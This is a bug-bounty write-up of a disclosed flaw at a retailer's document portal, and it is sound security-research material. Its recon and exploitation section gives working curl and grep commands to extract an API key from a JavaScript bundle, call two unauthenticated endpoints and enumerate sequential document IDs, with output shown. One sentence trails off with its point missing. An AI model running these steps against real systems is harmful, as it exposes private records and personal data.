Forty Characters to Thirty Thousand Documents
The best bug I have found on a Fortune-50 retailer was not a clever parser trick or a race condition. It was a forty-character hex string sitting in plain sight inside a minified React bundle, and an API gateway that treated possession of that string as the entire security model.
One key. Two endpoints. Roughly thirty thousand internal documents — financial records, PII, mailing dumps — served over plain HTTPS to anyone who had read the JavaScript.
What makes this worth writing up eighteen months later is not the severity. It is that the same shape has now paid me six times on the same programme, and I keep finding it everywhere else. This is a walkthrough of the kill chain and, more usefully, of why the architecture makes it inevitable.
0. The architecture that sets the trap
The target runs the pattern that every large retailer converged on somewhere around 2016:
- A fleet of small internal web apps, one per business function — document management, deployment tracking, field-service dispatch, partner onboarding — each a React SPA on its own subdomain.
- A single central API gateway,
api.<vendor>.com, with a path prefix per backing service (/rdmapi/v1/…,/item_taxonomies/v2/…, and so on). - Gateway authentication by a static hex API key, passed as a query parameter:
?key=<40 hex chars>.
That third bullet is the whole bug. A static key passed in a query string cannot be kept secret from the browser that has to send it. So it ships in the bundle. Every one of these apps ships its key in the bundle. The gateway knows the key is valid; it does not know, and never asks, who is holding it.
The key answers “is this a known application?” Nobody ever wired up the layer that answers “is this user allowed to see this object?”
Once you internalise that, recon stops being a search for vulnerabilities and becomes a search for subdomains with a main.*.js.
1. Recon: grep the bundle, not the app
The app in question was an internal document-management portal. Call it docstore.<vendor>.com. The login page is a hard wall — SSO, no self-registration, nothing to attack. Irrelevant. The SPA shell and its JavaScript are served before authentication, because they have to be: the bundle is what renders the login form.
So you never touch the login page. You pull the asset manifest and read the code.
# 1. the SPA shell names its own bundles
curl -s https://docstore.<vendor>.com/ \
| grep -oE '/static/js/[a-zA-Z0-9._-]+\.js'
/static/js/runtime-main.8f3c21a9.js
/static/js/2.b17d9e04.chunk.js
/static/js/main.daeb4ca1.chunk.js
# 2. pull them all
for f in runtime-main.8f3c21a9 2.b17d9e04.chunk main.daeb4ca1.chunk; do
curl -sO "https://docstore.<vendor>.com/static/js/${f}.js"
done
Now the part that actually matters. This gateway’s keys are SHA-1-shaped: exactly forty lowercase hex characters. That is a brutally greppable primitive.
# 40-hex, word-bounded, with 60 chars of surrounding context
grep -oE '.{0,60}\b[a-f0-9]{40}\b.{0,60}' main.daeb4ca1.chunk.js
...t.defaults.baseURL="https://api.<vendor>.com",n.key=
"a3f9c1d4e07b62885fa1cc90de4471bb0e5d2c73",e.exports=...
There it is. Assigned to n.key, right next to the gateway base URL, in the same expression. Not obfuscated, not in an env var resolved at runtime, not behind a token exchange. Just there, in the bundle, served unauthenticated to the public Internet.
Worth saying plainly, because it is the single most common way people burn a report:
2. Proving the key is live
The same bundle that leaks the key also documents the API. Minified JavaScript still contains every route the app can call, as string literals. Pull them out:
grep -oE '"/[a-zA-Z0-9/_.-]{4,}"' main.daeb4ca1.chunk.js | sort -u
"/get/metadata"
"/rdmapi/v1/file"
"/rdmapi/v1/folders"
"/rdmapi/v1/search"
...
Two of those turned out to be the entire chain. The first, /get/metadata, takes a numeric id and returns a descriptor for a stored document:
curl -s "https://docstore.<vendor>.com/get/metadata\
?id=31999\
&key=a3f9c1d4e07b62885fa1cc90de4471bb0e5d2c73\
&contentType=text/html"
{
"id": 31999,
"title": "<redacted> — Q3 vendor settlement",
"fileName": "<prefix>publicdocsprod/3b8499cf-0529-445d-be82-d12c9e67bcdf.pdf",
"contentType": "application/pdf",
"createdBy": "<redacted>@<vendor>.com",
"sizeBytes": 284117
}
HTTP 200. No session cookie. No bearer token. No SSO redirect. A raw curl from a residential IP with nothing but the string from the JavaScript file, and the gateway handed back a document descriptor including the internal owner’s corporate email address.
That is the moment the candidate becomes a finding. Everything after this is measuring the blast radius.
3. The pivot: metadata is an oracle, not a document
The metadata response does not contain the file. It contains a path. And the second endpoint takes that path as an attacker-supplied parameter:
curl -s "https://docstore.<vendor>.com/rdmapi/v1/file\
?fileName=<prefix>publicdocsprod/3b8499cf-0529-445d-be82-d12c9e67bcdf.pdf\
&key=a3f9c1d4e07b62885fa1cc90de4471bb0e5d2c73" \
-o out.pdf -w '%{http_code} %{content_type} %{size_download}\n'
200 application/pdf 284117
This is a two-stage design where each stage is individually defensible and the combination is fatal:
- Stage one maps a guessable integer to an unguessable path. The GUID filename is the only thing standing between a stranger and the document — classic security through unguessability, which is fine right up until something hands out the guesses.
- Stage two hands out the guesses. It resolves whatever path you give it, and re-checks nothing except that the key is valid — the same key it already validated in stage one.
Note the storage prefix: <prefix>publicdocsprod. The word public is doing a spectacular amount of unearned work there. Somebody, at some point, decided this bucket held public documents, and every access-control decision downstream inherited that assumption. The contents were not public. They were vendor settlement statements.
4. Scaling: the integer is the whole ballgame
The id in stage one is a small sequential integer. I did not need a wordlist, a fuzzer, or a single guess at a GUID. I needed a for loop.
# bounded, rate-limited, metadata only — enough to establish
# the range and stop. no bulk file retrieval.
KEY=a3f9c1d4e07b62885fa1cc90de4471bb0e5d2c73
for id in $(seq 31990 32010); do
code=$(curl -s -o /tmp/m.json -w '%{http_code}' \
"https://docstore.<vendor>.com/get/metadata?id=${id}&key=${KEY}")
echo "$id $code $(jq -r '.contentType // "-"' /tmp/m.json)"
sleep 0.5
done
31990 200 application/pdf
31991 200 application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
31992 200 application/pdf
31993 200 message/rfc822
...
Dense, contiguous, no gaps. Walking the boundaries put the live range at north of thirty thousand objects. I sampled a handful across the range to characterise the corpus — enough to write an honest impact section — and stopped.
The corpus, characterised from the sample: financial and settlement records, documents containing personal information, and archived mail. Every one of them retrievable, unauthenticated, from anywhere on the Internet, by anyone who had run grep once.
5. Why this is not “just a leaked key”
Triage occasionally wants to file this class as “secret in source” — a hygiene issue, rotate and close. That framing undersells it, and the distinction is worth being able to articulate, because it is the difference between Medium and Critical.
A leaked secret is a bug when the secret was supposed to be secret. Here, the key cannot be secret. It is transmitted to every browser that loads the app, by design, as a query parameter, over an unauthenticated asset request. Rotating it produces a new key that is equally public within one deploy cycle.
So the real defect is not that the key leaked. It is:
| Layer | What it does | What is missing |
|---|---|---|
| Gateway key | Identifies the calling application | Nothing — working as designed |
| User session | Should identify the calling human | Never checked on these routes |
| Object authorisation | Should answer “may this human read object N?” | Does not exist |
The application key was load-bearing for a decision it was never designed to make. That is an architecture finding, and it is why it landed as Critical rather than as a rotation ticket. Frame your report that way and triage will meet you there.
6. Remediation
In order of how much they actually buy you:
- Authorise the user, not the app. The gateway key establishes which service is calling. Object access needs a user identity — a session or a short-lived scoped token — and a per-object check against it. Nothing else on this list matters if this one is skipped.
-
Never accept a storage path from the client. Stage two should take the document
idand resolve the path server-side, after the authorisation check. PassingfileNamein is what turned an ID-based leak into arbitrary retrieval from the prefix. - Kill static keys in query strings. They land in browser history, proxy logs, referrer headers, CDN access logs, and error-reporting payloads. If a shared app credential must exist, it belongs in a header, and it belongs to a backend, not a bundle.
-
Stop naming private buckets
public. Half-serious. Names become assumptions, assumptions become access-control decisions, and nobody re-reads the name three services later. -
Break the sequence. Non-sequential identifiers are defence in depth, not a fix — but they turn a
forloop into a real search problem and buy your detection stack time to notice.
Detection is cheap here, and worth wiring up regardless: one application key issuing tens of thousands of distinct object reads from a single non-corporate IP, with no accompanying session, is not a subtle signal. Nobody was watching for it.
7. Timeline
- 2023-10-23 — Bundle pulled, key extracted, chain confirmed, report filed.
- 2023-10-23 — Triaged in 36 minutes. Validated by the vendor the same day.
- 2023-10-31 → 2023-11-27 — Impact assessment; award delayed on a bounty-pool refill. The programme sent unprompted status updates throughout, including one from the person who runs the function. Rare, and worth naming.
- 2023-12-04 — Resolved. Rated Critical. $5,000.
8. Takeaways
The pre-auth bundle is the attack surface. A login wall protects the API, not the JavaScript. The JavaScript is served to strangers by definition, and it contains every route the app knows how to call. Read it before you touch anything else.
Learn the target’s credential shape. This gateway used 40-hex. Others use sk_live_, AKIA, base64url JWTs, UUIDs. Once you know the shape, one grep -oE across every bundle on every subdomain turns recon into a batch job. The same forty-hex pattern has since produced five more accepted reports on this programme, and each one lived in a different app on a different subdomain.
Chain the endpoints you find in the same file. A metadata endpoint is boring. A file endpoint is boring. A metadata endpoint that emits the exact parameter a file endpoint consumes is a Critical. The bug lives in the seam between two components that each individually pass review.
Ask what the credential is actually deciding. Every time you find a shared application key, ask what question the server thinks it answers. If the answer is “which app is calling” but the server is using it to decide “may you read this object”, you have found a hole with an architecture-shaped edge — and those are the ones that pay.